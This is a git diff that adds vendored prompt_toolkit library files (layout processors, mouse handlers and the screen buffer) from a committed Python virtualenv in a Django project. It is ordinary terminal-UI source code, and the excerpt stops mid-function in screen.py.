prompt_toolkit.mouse_events import MouseEvent + +if TYPE_CHECKING: + from prompt_toolkit.key_binding.key_bindings import NotImplementedOrNone + +__all__ = [ + "MouseHandler", + "MouseHandlers", +] + + +MouseHandler = Callable[[MouseEvent], "NotImplementedOrNone"] + + +class MouseHandlers: + """ + Two dimensional raster of callbacks for mouse events. + """ + + def __init__(self) -> None: + def dummy_callback(mouse_event: MouseEvent) -> "NotImplementedOrNone": + """ + :param mouse_event: `MouseEvent` instance. + """ + return NotImplemented + + # NOTE: Previously, the data structure was a dictionary mapping (x,y) + # to the handlers. This however would be more inefficient when copying + # over the mouse handlers of the visible region in the scrollable pane. + + # Map y (row) to x (column) to handlers. + self.mouse_handlers: DefaultDict[ + int, DefaultDict[int, MouseHandler] + ] = defaultdict(lambda: defaultdict(lambda: dummy_callback)) + + def set_mouse_handler_for_range( + self, + x_min: int, + x_max: int, + y_min: int, + y_max: int, + handler: Callable[[MouseEvent], "NotImplementedOrNone"], + ) -> None: + """ + Set mouse handler for a region. + """ + for y in range(y_min, y_max): + row = self.mouse_handlers[y] + + for x in range(x_min, x_max): + row[x] = handler diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/processors.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/processors.py new file mode 100644 index 00000000..722658a8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/processors.py @@ -0,0 +1,1029 @@ +""" +Processors are little transformation blocks that transform the fragments list +from a buffer before the BufferControl will render it to the screen. + +They can insert fragments before or after, or highlight fragments by replacing the +fragment types. +""" +import re +from abc import ABCMeta, abstractmethod +from typing import ( + TYPE_CHECKING, + Callable, + Hashable, + List, + Optional, + Tuple, + Type, + Union, + cast, +) + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.cache import SimpleCache +from prompt_toolkit.document import Document +from prompt_toolkit.filters import FilterOrBool, to_filter, vi_insert_multiple_mode +from prompt_toolkit.formatted_text import ( + AnyFormattedText, + StyleAndTextTuples, + to_formatted_text, +) +from prompt_toolkit.formatted_text.utils import fragment_list_len, fragment_list_to_text +from prompt_toolkit.search import SearchDirection +from prompt_toolkit.utils import to_int, to_str + +from .utils import explode_text_fragments + +if TYPE_CHECKING: + from .controls import BufferControl, UIContent + +__all__ = [ + "Processor", + "TransformationInput", + "Transformation", + "DummyProcessor", + "HighlightSearchProcessor", + "HighlightIncrementalSearchProcessor", + "HighlightSelectionProcessor", + "PasswordProcessor", + "HighlightMatchingBracketProcessor", + "DisplayMultipleCursors", + "BeforeInput", + "ShowArg", + "AfterInput", + "AppendAutoSuggestion", + "ConditionalProcessor", + "ShowLeadingWhiteSpaceProcessor", + "ShowTrailingWhiteSpaceProcessor", + "TabsProcessor", + "ReverseSearchProcessor", + "DynamicProcessor", + "merge_processors", +] + + +class Processor(metaclass=ABCMeta): + """ + Manipulate the fragments for a given line in a + :class:`~prompt_toolkit.layout.controls.BufferControl`. + """ + + @abstractmethod + def apply_transformation( + self, transformation_input: "TransformationInput" + ) -> "Transformation": + """ + Apply transformation. Returns a :class:`.Transformation` instance. + + :param transformation_input: :class:`.TransformationInput` object. + """ + return Transformation(transformation_input.fragments) + + +SourceToDisplay = Callable[[int], int] +DisplayToSource = Callable[[int], int] + + +class TransformationInput: + """ + :param buffer_control: :class:`.BufferControl` instance. + :param lineno: The number of the line to which we apply the processor. + :param source_to_display: A function that returns the position in the + `fragments` for any position in the source string. (This takes + previous processors into account.) + :param fragments: List of fragments that we can transform. (Received from the + previous processor.) + """ + + def __init__( + self, + buffer_control: "BufferControl", + document: Document, + lineno: int, + source_to_display: SourceToDisplay, + fragments: StyleAndTextTuples, + width: int, + height: int, + ) -> None: + + self.buffer_control = buffer_control + self.document = document + self.lineno = lineno + self.source_to_display = source_to_display + self.fragments = fragments + self.width = width + self.height = height + + def unpack( + self, + ) -> Tuple[ + "BufferControl", Document, int, SourceToDisplay, StyleAndTextTuples, int, int + ]: + return ( + self.buffer_control, + self.document, + self.lineno, + self.source_to_display, + self.fragments, + self.width, + self.height, + ) + + +class Transformation: + """ + Transformation result, as returned by :meth:`.Processor.apply_transformation`. + + Important: Always make sure that the length of `document.text` is equal to + the length of all the text in `fragments`! + + :param fragments: The transformed fragments. To be displayed, or to pass to + the next processor. + :param source_to_display: Cursor position transformation from original + string to transformed string. + :param display_to_source: Cursor position transformed from source string to + original string. + """ + + def __init__( + self, + fragments: StyleAndTextTuples, + source_to_display: Optional[SourceToDisplay] = None, + display_to_source: Optional[DisplayToSource] = None, + ) -> None: + + self.fragments = fragments + self.source_to_display = source_to_display or (lambda i: i) + self.display_to_source = display_to_source or (lambda i: i) + + +class DummyProcessor(Processor): + """ + A `Processor` that doesn't do anything. + """ + + def apply_transformation( + self, transformation_input: TransformationInput + ) -> Transformation: + return Transformation(transformation_input.fragments) + + +class HighlightSearchProcessor(Processor): + """ + Processor that highlights search matches in the document. + Note that this doesn't support multiline search matches yet. + + The style classes 'search' and 'search.current' will be applied to the + content. + """ + + _classname = "search" + _classname_current = "search.current" + + def _get_search_text(self, buffer_control: "BufferControl") -> str: + """ + The text we are searching for. + """ + return buffer_control.search_state.text + + def apply_transformation( + self, transformation_input: TransformationInput + ) -> Transformation: + + ( + buffer_control, + document, + lineno, + source_to_display, + fragments, + _, + _, + ) = transformation_input.unpack() + + search_text = self._get_search_text(buffer_control) + searchmatch_fragment = f" class:{self._classname} " + searchmatch_current_fragment = f" class:{self._classname_current} " + + if search_text and not get_app().is_done: + # For each search match, replace the style string. + line_text = fragment_list_to_text(fragments) + fragments = explode_text_fragments(fragments) + + if buffer_control.search_state.ignore_case(): + flags = re.IGNORECASE + else: + flags = re.RegexFlag(0) + + # Get cursor column. + cursor_column: Optional[int] + if document.cursor_position_row == lineno: + cursor_column = source_to_display(document.cursor_position_col) + else: + cursor_column = None + + for match in re.finditer(re.escape(search_text), line_text, flags=flags): + if cursor_column is not None: + on_cursor = match.start() <= cursor_column < match.end() + else: + on_cursor = False + + for i in range(match.start(), match.end()): + old_fragment, text, *_ = fragments[i] + if on_cursor: + fragments[i] = ( + old_fragment + searchmatch_current_fragment, + fragments[i][1], + ) + else: + fragments[i] = ( + old_fragment + searchmatch_fragment, + fragments[i][1], + ) + + return Transformation(fragments) + + +class HighlightIncrementalSearchProcessor(HighlightSearchProcessor): + """ + Highlight the search terms that are used for highlighting the incremental + search. The style class 'incsearch' will be applied to the content. + + Important: this requires the `preview_search=True` flag to be set for the + `BufferControl`. Otherwise, the cursor position won't be set to the search + match while searching, and nothing happens. + """ + + _classname = "incsearch" + _classname_current = "incsearch.current" + + def _get_search_text(self, buffer_control: "BufferControl") -> str: + """ + The text we are searching for. + """ + # When the search buffer has focus, take that text. + search_buffer = buffer_control.search_buffer + if search_buffer is not None and search_buffer.text: + return search_buffer.text + return "" + + +class HighlightSelectionProcessor(Processor): + """ + Processor that highlights the selection in the document. + """ + + def apply_transformation( + self, transformation_input: TransformationInput + ) -> Transformation: + ( + buffer_control, + document, + lineno, + source_to_display, + fragments, + _, + _, + ) = transformation_input.unpack() + + selected_fragment = " class:selected " + + # In case of selection, highlight all matches. + selection_at_line = document.selection_range_at_line(lineno) + + if selection_at_line: + from_, to = selection_at_line + from_ = source_to_display(from_) + to = source_to_display(to) + + fragments = explode_text_fragments(fragments) + + if from_ == 0 and to == 0 and len(fragments) == 0: + # When this is an empty line, insert a space in order to + # visualise the selection. + return Transformation([(selected_fragment, " ")]) + else: + for i in range(from_, to): + if i < len(fragments): + old_fragment, old_text, *_ = fragments[i] + fragments[i] = (old_fragment + selected_fragment, old_text) + elif i == len(fragments): + fragments.append((selected_fragment, " ")) + + return Transformation(fragments) + + +class PasswordProcessor(Processor): + """ + Processor that masks the input. (For passwords.) + + :param char: (string) Character to be used. "*" by default. + """ + + def __init__(self, char: str = "*") -> None: + self.char = char + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + fragments: StyleAndTextTuples = cast( + StyleAndTextTuples, + [ + (style, self.char * len(text), *handler) + for style, text, *handler in ti.fragments + ], + ) + + return Transformation(fragments) + + +class HighlightMatchingBracketProcessor(Processor): + """ + When the cursor is on or right after a bracket, it highlights the matching + bracket. + + :param max_cursor_distance: Only highlight matching brackets when the + cursor is within this distance. (From inside a `Processor`, we can't + know which lines will be visible on the screen. But we also don't want + to scan the whole document for matching brackets on each key press, so + we limit to this value.) + """ + + _closing_braces = "])}>" + + def __init__( + self, chars: str = "[](){}<>", max_cursor_distance: int = 1000 + ) -> None: + self.chars = chars + self.max_cursor_distance = max_cursor_distance + + self._positions_cache: SimpleCache[ + Hashable, List[Tuple[int, int]] + ] = SimpleCache(maxsize=8) + + def _get_positions_to_highlight(self, document: Document) -> List[Tuple[int, int]]: + """ + Return a list of (row, col) tuples that need to be highlighted. + """ + pos: Optional[int] + + # Try for the character under the cursor. + if document.current_char and document.current_char in self.chars: + pos = document.find_matching_bracket_position( + start_pos=document.cursor_position - self.max_cursor_distance, + end_pos=document.cursor_position + self.max_cursor_distance, + ) + + # Try for the character before the cursor. + elif ( + document.char_before_cursor + and document.char_before_cursor in self._closing_braces + and document.char_before_cursor in self.chars + ): + document = Document(document.text, document.cursor_position - 1) + + pos = document.find_matching_bracket_position( + start_pos=document.cursor_position - self.max_cursor_distance, + end_pos=document.cursor_position + self.max_cursor_distance, + ) + else: + pos = None + + # Return a list of (row, col) tuples that need to be highlighted. + if pos: + pos += document.cursor_position # pos is relative. + row, col = document.translate_index_to_position(pos) + return [ + (row, col), + (document.cursor_position_row, document.cursor_position_col), + ] + else: + return [] + + def apply_transformation( + self, transformation_input: TransformationInput + ) -> Transformation: + + ( + buffer_control, + document, + lineno, + source_to_display, + fragments, + _, + _, + ) = transformation_input.unpack() + + # When the application is in the 'done' state, don't highlight. + if get_app().is_done: + return Transformation(fragments) + + # Get the highlight positions. + key = (get_app().render_counter, document.text, document.cursor_position) + positions = self._positions_cache.get( + key, lambda: self._get_positions_to_highlight(document) + ) + + # Apply if positions were found at this line. + if positions: + for row, col in positions: + if row == lineno: + col = source_to_display(col) + fragments = explode_text_fragments(fragments) + style, text, *_ = fragments[col] + + if col == document.cursor_position_col: + style += " class:matching-bracket.cursor " + else: + style += " class:matching-bracket.other " + + fragments[col] = (style, text) + + return Transformation(fragments) + + +class DisplayMultipleCursors(Processor): + """ + When we're in Vi block insert mode, display all the cursors. + """ + + def apply_transformation( + self, transformation_input: TransformationInput + ) -> Transformation: + + ( + buffer_control, + document, + lineno, + source_to_display, + fragments, + _, + _, + ) = transformation_input.unpack() + + buff = buffer_control.buffer + + if vi_insert_multiple_mode(): + cursor_positions = buff.multiple_cursor_positions + fragments = explode_text_fragments(fragments) + + # If any cursor appears on the current line, highlight that. + start_pos = document.translate_row_col_to_index(lineno, 0) + end_pos = start_pos + len(document.lines[lineno]) + + fragment_suffix = " class:multiple-cursors" + + for p in cursor_positions: + if start_pos <= p <= end_pos: + column = source_to_display(p - start_pos) + + # Replace fragment. + try: + style, text, *_ = fragments[column] + except IndexError: + # Cursor needs to be displayed after the current text. + fragments.append((fragment_suffix, " ")) + else: + style += fragment_suffix + fragments[column] = (style, text) + + return Transformation(fragments) + else: + return Transformation(fragments) + + +class BeforeInput(Processor): + """ + Insert text before the input. + + :param text: This can be either plain text or formatted text + (or a callable that returns any of those). + :param style: style to be applied to this prompt/prefix. + """ + + def __init__(self, text: AnyFormattedText, style: str = "") -> None: + self.text = text + self.style = style + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + source_to_display: Optional[SourceToDisplay] + display_to_source: Optional[DisplayToSource] + + if ti.lineno == 0: + # Get fragments. + fragments_before = to_formatted_text(self.text, self.style) + fragments = fragments_before + ti.fragments + + shift_position = fragment_list_len(fragments_before) + source_to_display = lambda i: i + shift_position + display_to_source = lambda i: i - shift_position + else: + fragments = ti.fragments + source_to_display = None + display_to_source = None + + return Transformation( + fragments, + source_to_display=source_to_display, + display_to_source=display_to_source, + ) + + def __repr__(self) -> str: + return f"BeforeInput({self.text!r}, {self.style!r})" + + +class ShowArg(BeforeInput): + """ + Display the 'arg' in front of the input. + + This was used by the `PromptSession`, but now it uses the + `Window.get_line_prefix` function instead. + """ + + def __init__(self) -> None: + super().__init__(self._get_text_fragments) + + def _get_text_fragments(self) -> StyleAndTextTuples: + app = get_app() + if app.key_processor.arg is None: + return [] + else: + arg = app.key_processor.arg + + return [ + ("class:prompt.arg", "(arg: "), + ("class:prompt.arg.text", str(arg)), + ("class:prompt.arg", ") "), + ] + + def __repr__(self) -> str: + return "ShowArg()" + + +class AfterInput(Processor): + """ + Insert text after the input. + + :param text: This can be either plain text or formatted text + (or a callable that returns any of those). + :param style: style to be applied to this prompt/prefix. + """ + + def __init__(self, text: AnyFormattedText, style: str = "") -> None: + self.text = text + self.style = style + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + # Insert fragments after the last line. + if ti.lineno == ti.document.line_count - 1: + # Get fragments. + fragments_after = to_formatted_text(self.text, self.style) + return Transformation(fragments=ti.fragments + fragments_after) + else: + return Transformation(fragments=ti.fragments) + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.text!r}, style={self.style!r})" + + +class AppendAutoSuggestion(Processor): + """ + Append the auto suggestion to the input. + (The user can then press the right arrow the insert the suggestion.) + """ + + def __init__(self, style: str = "class:auto-suggestion") -> None: + self.style = style + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + # Insert fragments after the last line. + if ti.lineno == ti.document.line_count - 1: + buffer = ti.buffer_control.buffer + + if buffer.suggestion and ti.document.is_cursor_at_the_end: + suggestion = buffer.suggestion.text + else: + suggestion = "" + + return Transformation(fragments=ti.fragments + [(self.style, suggestion)]) + else: + return Transformation(fragments=ti.fragments) + + +class ShowLeadingWhiteSpaceProcessor(Processor): + """ + Make leading whitespace visible. + + :param get_char: Callable that returns one character. + """ + + def __init__( + self, + get_char: Optional[Callable[[], str]] = None, + style: str = "class:leading-whitespace", + ) -> None: + def default_get_char() -> str: + if "\xb7".encode(get_app().output.encoding(), "replace") == b"?": + return "." + else: + return "\xb7" + + self.style = style + self.get_char = get_char or default_get_char + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + fragments = ti.fragments + + # Walk through all te fragments. + if fragments and fragment_list_to_text(fragments).startswith(" "): + t = (self.style, self.get_char()) + fragments = explode_text_fragments(fragments) + + for i in range(len(fragments)): + if fragments[i][1] == " ": + fragments[i] = t + else: + break + + return Transformation(fragments) + + +class ShowTrailingWhiteSpaceProcessor(Processor): + """ + Make trailing whitespace visible. + + :param get_char: Callable that returns one character. + """ + + def __init__( + self, + get_char: Optional[Callable[[], str]] = None, + style: str = "class:training-whitespace", + ) -> None: + def default_get_char() -> str: + if "\xb7".encode(get_app().output.encoding(), "replace") == b"?": + return "." + else: + return "\xb7" + + self.style = style + self.get_char = get_char or default_get_char + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + fragments = ti.fragments + + if fragments and fragments[-1][1].endswith(" "): + t = (self.style, self.get_char()) + fragments = explode_text_fragments(fragments) + + # Walk backwards through all te fragments and replace whitespace. + for i in range(len(fragments) - 1, -1, -1): + char = fragments[i][1] + if char == " ": + fragments[i] = t + else: + break + + return Transformation(fragments) + + +class TabsProcessor(Processor): + """ + Render tabs as spaces (instead of ^I) or make them visible (for instance, + by replacing them with dots.) + + :param tabstop: Horizontal space taken by a tab. (`int` or callable that + returns an `int`). + :param char1: Character or callable that returns a character (text of + length one). This one is used for the first space taken by the tab. + :param char2: Like `char1`, but for the rest of the space. + """ + + def __init__( + self, + tabstop: Union[int, Callable[[], int]] = 4, + char1: Union[str, Callable[[], str]] = "|", + char2: Union[str, Callable[[], str]] = "\u2508", + style: str = "class:tab", + ) -> None: + + self.char1 = char1 + self.char2 = char2 + self.tabstop = tabstop + self.style = style + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + tabstop = to_int(self.tabstop) + style = self.style + + # Create separator for tabs. + separator1 = to_str(self.char1) + separator2 = to_str(self.char2) + + # Transform fragments. + fragments = explode_text_fragments(ti.fragments) + + position_mappings = {} + result_fragments: StyleAndTextTuples = [] + pos = 0 + + for i, fragment_and_text in enumerate(fragments): + position_mappings[i] = pos + + if fragment_and_text[1] == "\t": + # Calculate how many characters we have to insert. + count = tabstop - (pos % tabstop) + if count == 0: + count = tabstop + + # Insert tab. + result_fragments.append((style, separator1)) + result_fragments.append((style, separator2 * (count - 1))) + pos += count + else: + result_fragments.append(fragment_and_text) + pos += 1 + + position_mappings[len(fragments)] = pos + # Add `pos+1` to mapping, because the cursor can be right after the + # line as well. + position_mappings[len(fragments) + 1] = pos + 1 + + def source_to_display(from_position: int) -> int: + "Maps original cursor position to the new one." + return position_mappings[from_position] + + def display_to_source(display_pos: int) -> int: + "Maps display cursor position to the original one." + position_mappings_reversed = {v: k for k, v in position_mappings.items()} + + while display_pos >= 0: + try: + return position_mappings_reversed[display_pos] + except KeyError: + display_pos -= 1 + return 0 + + return Transformation( + result_fragments, + source_to_display=source_to_display, + display_to_source=display_to_source, + ) + + +class ReverseSearchProcessor(Processor): + """ + Process to display the "(reverse-i-search)`...`:..." stuff around + the search buffer. + + Note: This processor is meant to be applied to the BufferControl that + contains the search buffer, it's not meant for the original input. + """ + + _excluded_input_processors: List[Type[Processor]] = [ + HighlightSearchProcessor, + HighlightSelectionProcessor, + BeforeInput, + AfterInput, + ] + + def _get_main_buffer( + self, buffer_control: "BufferControl" + ) -> Optional["BufferControl"]: + from prompt_toolkit.layout.controls import BufferControl + + prev_control = get_app().layout.search_target_buffer_control + if ( + isinstance(prev_control, BufferControl) + and prev_control.search_buffer_control == buffer_control + ): + return prev_control + return None + + def _content( + self, main_control: "BufferControl", ti: TransformationInput + ) -> "UIContent": + from prompt_toolkit.layout.controls import BufferControl + + # Emulate the BufferControl through which we are searching. + # For this we filter out some of the input processors. + excluded_processors = tuple(self._excluded_input_processors) + + def filter_processor(item: Processor) -> Optional[Processor]: + """Filter processors from the main control that we want to disable + here. This returns either an accepted processor or None.""" + # For a `_MergedProcessor`, check each individual processor, recursively. + if isinstance(item, _MergedProcessor): + accepted_processors = [filter_processor(p) for p in item.processors] + return merge_processors( + [p for p in accepted_processors if p is not None] + ) + + # For a `ConditionalProcessor`, check the body. + elif isinstance(item, ConditionalProcessor): + p = filter_processor(item.processor) + if p: + return ConditionalProcessor(p, item.filter) + + # Otherwise, check the processor itself. + else: + if not isinstance(item, excluded_processors): + return item + + return None + + filtered_processor = filter_processor( + merge_processors(main_control.input_processors or []) + ) + highlight_processor = HighlightIncrementalSearchProcessor() + + if filtered_processor: + new_processors = [filtered_processor, highlight_processor] + else: + new_processors = [highlight_processor] + + from .controls import SearchBufferControl + + assert isinstance(ti.buffer_control, SearchBufferControl) + + buffer_control = BufferControl( + buffer=main_control.buffer, + input_processors=new_processors, + include_default_input_processors=False, + lexer=main_control.lexer, + preview_search=True, + search_buffer_control=ti.buffer_control, + ) + + return buffer_control.create_content(ti.width, ti.height, preview_search=True) + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + from .controls import SearchBufferControl + + assert isinstance( + ti.buffer_control, SearchBufferControl + ), "`ReverseSearchProcessor` should be applied to a `SearchBufferControl` only." + + source_to_display: Optional[SourceToDisplay] + display_to_source: Optional[DisplayToSource] + + main_control = self._get_main_buffer(ti.buffer_control) + + if ti.lineno == 0 and main_control: + content = self._content(main_control, ti) + + # Get the line from the original document for this search. + line_fragments = content.get_line(content.cursor_position.y) + + if main_control.search_state.direction == SearchDirection.FORWARD: + direction_text = "i-search" + else: + direction_text = "reverse-i-search" + + fragments_before: StyleAndTextTuples = [ + ("class:prompt.search", "("), + ("class:prompt.search", direction_text), + ("class:prompt.search", ")`"), + ] + + fragments = ( + fragments_before + + [ + ("class:prompt.search.text", fragment_list_to_text(ti.fragments)), + ("", "': "), + ] + + line_fragments + ) + + shift_position = fragment_list_len(fragments_before) + source_to_display = lambda i: i + shift_position + display_to_source = lambda i: i - shift_position + else: + source_to_display = None + display_to_source = None + fragments = ti.fragments + + return Transformation( + fragments, + source_to_display=source_to_display, + display_to_source=display_to_source, + ) + + +class ConditionalProcessor(Processor): + """ + Processor that applies another processor, according to a certain condition. + Example:: + + # Create a function that returns whether or not the processor should + # currently be applied. + def highlight_enabled(): + return true_or_false + + # Wrapped it in a `ConditionalProcessor` for usage in a `BufferControl`. + BufferControl(input_processors=[ + ConditionalProcessor(HighlightSearchProcessor(), + Condition(highlight_enabled))]) + + :param processor: :class:`.Processor` instance. + :param filter: :class:`~prompt_toolkit.filters.Filter` instance. + """ + + def __init__(self, processor: Processor, filter: FilterOrBool) -> None: + self.processor = processor + self.filter = to_filter(filter) + + def apply_transformation( + self, transformation_input: TransformationInput + ) -> Transformation: + # Run processor when enabled. + if self.filter(): + return self.processor.apply_transformation(transformation_input) + else: + return Transformation(transformation_input.fragments) + + def __repr__(self) -> str: + return "{}(processor={!r}, filter={!r})".format( + self.__class__.__name__, + self.processor, + self.filter, + ) + + +class DynamicProcessor(Processor): + """ + Processor class that dynamically returns any Processor. + + :param get_processor: Callable that returns a :class:`.Processor` instance. + """ + + def __init__(self, get_processor: Callable[[], Optional[Processor]]) -> None: + self.get_processor = get_processor + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + processor = self.get_processor() or DummyProcessor() + return processor.apply_transformation(ti) + + +def merge_processors(processors: List[Processor]) -> Processor: + """ + Merge multiple `Processor` objects into one. + """ + if len(processors) == 0: + return DummyProcessor() + + if len(processors) == 1: + return processors[0] # Nothing to merge. + + return _MergedProcessor(processors) + + +class _MergedProcessor(Processor): + """ + Processor that groups multiple other `Processor` objects, but exposes an + API as if it is one `Processor`. + """ + + def __init__(self, processors: List[Processor]): + self.processors = processors + + def apply_transformation(self, ti: TransformationInput) -> Transformation: + source_to_display_functions = [ti.source_to_display] + display_to_source_functions = [] + fragments = ti.fragments + + def source_to_display(i: int) -> int: + """Translate x position from the buffer to the x position in the + processor fragments list.""" + for f in source_to_display_functions: + i = f(i) + return i + + for p in self.processors: + transformation = p.apply_transformation( + TransformationInput( + ti.buffer_control, + ti.document, + ti.lineno, + source_to_display, + fragments, + ti.width, + ti.height, + ) + ) + fragments = transformation.fragments + display_to_source_functions.append(transformation.display_to_source) + source_to_display_functions.append(transformation.source_to_display) + + def display_to_source(i: int) -> int: + for f in reversed(display_to_source_functions): + i = f(i) + return i + + # In the case of a nested _MergedProcessor, each processor wants to + # receive a 'source_to_display' function (as part of the + # TransformationInput) that has everything in the chain before + # included, because it can be called as part of the + # `apply_transformation` function. However, this first + # `source_to_display` should not be part of the output that we are + # returning. (This is the most consistent with `display_to_source`.) + del source_to_display_functions[:1] + + return Transformation(fragments, source_to_display, display_to_source) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/screen.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/screen.py new file mode 100644 index 00000000..5d27ab26 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/layout/screen.py @@ -0,0 +1,327 @@ +from collections import defaultdict +from typing import TYPE_CHECKING, Callable, DefaultDict, Dict, List, Optional, Tuple + +from prompt_toolkit.cache import FastDictCache +from prompt_toolkit.data_structures import Point +from prompt_toolkit.utils import get_cwidth + +if TYPE_CHECKING: + from .containers import Window + + +__all__ = [ + "Screen", + "Char", +] + + +class Char: + """ + Represent a single character in a :class:`.Screen`. + + This should be considered immutable. + + :param char: A single character (can be a double-width character). + :param style: A style string. (Can contain classnames.) + """ + + __slots__ = ("char", "style", "width") + + # If we end up having one of these special control sequences in the input string, + # we should display them as follows: + # Usually this happens after a "quoted insert". + display_mappings: Dict[str, str] = { + "\x00": "^@", # Control space + "\x01": "^A", + "\x02": "^B", + "\x03": "^C", + "\x04": "^D", + "\x05": "^E", + "\x06": "^F", + "\x07": "^G", + "\x08": "^H", + "\x09": "^I", + "\x0a": "^J", + "\x0b": "^K", + "\x0c": "^L", + "\x0d": "^M", + "\x0e": "^N", + "\x0f": "^O", + "\x10": "^P", + "\x11": "^Q", + "\x12": "^R", + "\x13": "^S", + "\x14": "^T", + "\x15": "^U", + "\x16": "^V", + "\x17": "^W", + "\x18": "^X", + "\x19": "^Y", + "\x1a": "^Z", + "\x1b": "^[", # Escape + "\x1c": "^\\", + "\x1d": "^]", + "\x1f": "^_", + "\x7f": "^?", # ASCII Delete (backspace). + # Special characters. All visualized like Vim does. + "\x80": "<80>", + "\x81": "<81>", + "\x82": "<82>", + "\x83": "<83>", + "\x84": "<84>", + "\x85": "<85>", + "\x86": "<86>", + "\x87": "<87>", + "\x88": "<88>", + "\x89": "<89>", + "\x8a": "<8a>", + "\x8b": "<8b>", + "\x8c": "<8c>", + "\x8d": "<8d>", + "\x8e": "<8e>", + "\x8f": "<8f>", + "\x90": "<90>", + "\x91": "<91>", + "\x92": "<92>", + "\x93": "<93>", + "\x94": "<94>", + "\x95": "<95>", + "\x96": "<96>", + "\x97": "<97>", + "\x98": "<98>", + "\x99": "<99>", + "\x9a": "<9a>", + "\x9b": "<9b>", + "\x9c": "<9c>", + "\x9d": "<9d>", + "\x9e": "<9e>", + "\x9f": "<9f>", + # For the non-breaking space: visualize like Emacs does by default. + # (Print a space, but attach the 'nbsp' class that applies the + # underline style.) + "\xa0": " ", + } + + def __init__(self, char: str = " ", style: str = "") -> None: + # If this character has to be displayed otherwise, take that one. + if char in self.display_mappings: + if char == "\xa0": + style += " class:nbsp " # Will be underlined. + else: + style += " class:control-character " + + char = self.display_mappings[char] + + self.char = char + self.style = style + + # Calculate width. (We always need this, so better to store it directly + # as a member for performance.) + self.width = get_cwidth(char) + + # In theory, `other` can be any type of object, but because of performance + # we don't want to do an `isinstance` check every time. We assume "other" + # is always a "Char". + def _equal(self, other: "Char") -> bool: + return self.char == other.char and self.style == other.style + + def _not_equal(self, other: "Char") -> bool: + # Not equal: We don't do `not char.__eq__` here, because of the + # performance of calling yet another function. + return self.char != other.char or self.style != other.style + + if not TYPE_CHECKING: + __eq__ = _equal + __ne__ = _not_equal + + def __repr__(self) -> str: + return f"{self.__class__.__name__}({self.char!r}, {self.style!r})" + + +_CHAR_CACHE: FastDictCache[Tuple[str, str], Char] = FastDictCache( + Char, size=1000 * 1000 +) +Transparent = "[transparent]" + + +class Screen: + """ + Two dimensional buffer of :class:`.Char` instances. + """ + + def __init__( + self, + default_char: Optional[Char] = None, + initial_width: int = 0, + initial_height: int = 0, + ) -> None: + + if default_char is None: + default_char2 = _CHAR_CACHE[" ", Transparent] + else: + default_char2 = default_char + + self.data_buffer: DefaultDict[int, DefaultDict[int, Char]] = defaultdict( + lambda: defaultdict(lambda: default_char2) + ) + + #: Escape sequences to be injected. + self.zero_width_escapes: DefaultDict[int, DefaultDict[int, str]] = defaultdict( + lambda: defaultdict(lambda: "") + ) + + #: Position of the cursor. + self.cursor_positions: Dict[ + "Window", Point + ] = {} # Map `Window` objects to `Point` objects. + + #: Visibility of the cursor. + self.show_cursor = True + + #: (Optional) Where to position the menu. E.g. at the start of a completion. + #: (We can't use the cursor position, because we don't want the + #: completion menu to change its position when we browse through all the + #: completions.) + self.menu_positions: Dict[ + "Window", Point + ] = {} # Map `Window` objects to `Point` objects. + + #: Currently used width/height of the screen. This will increase when + #: data is written to the screen. + self.width = initial_width or 0 + self.height = initial_height or 0 + + # Windows that have been drawn. (Each `Window` class will add itself to + # this list.) + self.visible_windows_to_write_positions: Dict["Window", "WritePosition"] = {} + + # List of (z_index, draw_func) + self._draw_float_functions: List[Tuple[int, Callable[[], None]]] = [] + + @property + def visible_windows(self) -> List["Window"]: + return list(self.visible_windows_to_write_positions.keys()) + + def set_cursor_position(self, window: "Window", position: Point) -> None: + """ + Set the cursor position for a given window. + """ + self.cursor_positions[window] = position + + def set_menu_position(self, window: "Window", position: Point) -> None: + """ + Set the cursor position for a given window. + """ + self.menu_positions[window] = position + + def get_cursor_position(self, window: "Window") -> Point: + """ + Get the cursor position for a given window. + Returns a `Point`. + """ + try: + return self.cursor_positions[window] + except KeyError: + return Point(x=0, y=0) + + def get_menu_position(self, window: "Window") -> Point: + """ + Get the menu position for a given window. + (This falls back to the cursor position if no menu position was set.) + """ + try: + return self.menu_positions[window] + except KeyError: + try: + return self.cursor_positions[window] + except KeyError: + return Point(x=0, y=0) + + def draw_with_z_index(self, z_index: int, draw_func: Callable[[], None]) -> None: + """ + Add a draw-function for a `Window` which has a >= 0 z_index. + This will be postponed until `draw_all_floats` is called. + """ + self._draw_float_functions.append((z_index, draw_func)) + + def draw_all_floats(self) -> None: + """ + Draw all float functions in order of z-index. + """ + # We keep looping because some draw functions could add new functions + # to this list. See `FloatContainer`. + while self._draw_float_functions: + # Sort the floats that we have so far by z_index. + functions = sorted(self._draw_float_functions, key=lambda item: item[0]) + + # Draw only one at a time, then sort everything again. Now floats + # might have been added. + self._draw_float_functions = functions[1:] + functions[0][1]() + + def append_style_to_content(self, style_str: str) -> None: + """ + For all the characters in the screen. + Set the style string to the given `style_str`. + """ + b = self.data_buffer + char_cache = _CHAR_CACHE + + append_style = " " + style_str + + for y, row in b.items(): + for x, char in row.items(): + b[y][x] = char_cache[char.char, char.style + append_style] + + def fill_area( + self, write_position: "WritePosition", style: str = "", after: bool = False + ) -> None: + """ + Fill the content of this area, using the given `style`. + The style is prepended before whatever was here before. + """ + if not style.strip(): + return + + xmin = write_position.xpos + xmax = write_position.xpos + write_position.width + char_cache = _CHAR_CACHE + data_buffer = self.data_buffer + + if after: + append_style = " " + style + prepend_style = "" + else: + append_style = "" + prepend_style = style + " " + + for y in range( + write_position.ypos, write_position.ypos + write_position.height + ): + row = data_buffer[y] + for x in range(xmin, xmax): + cell = row[x] + row[x] = char_cache[ + 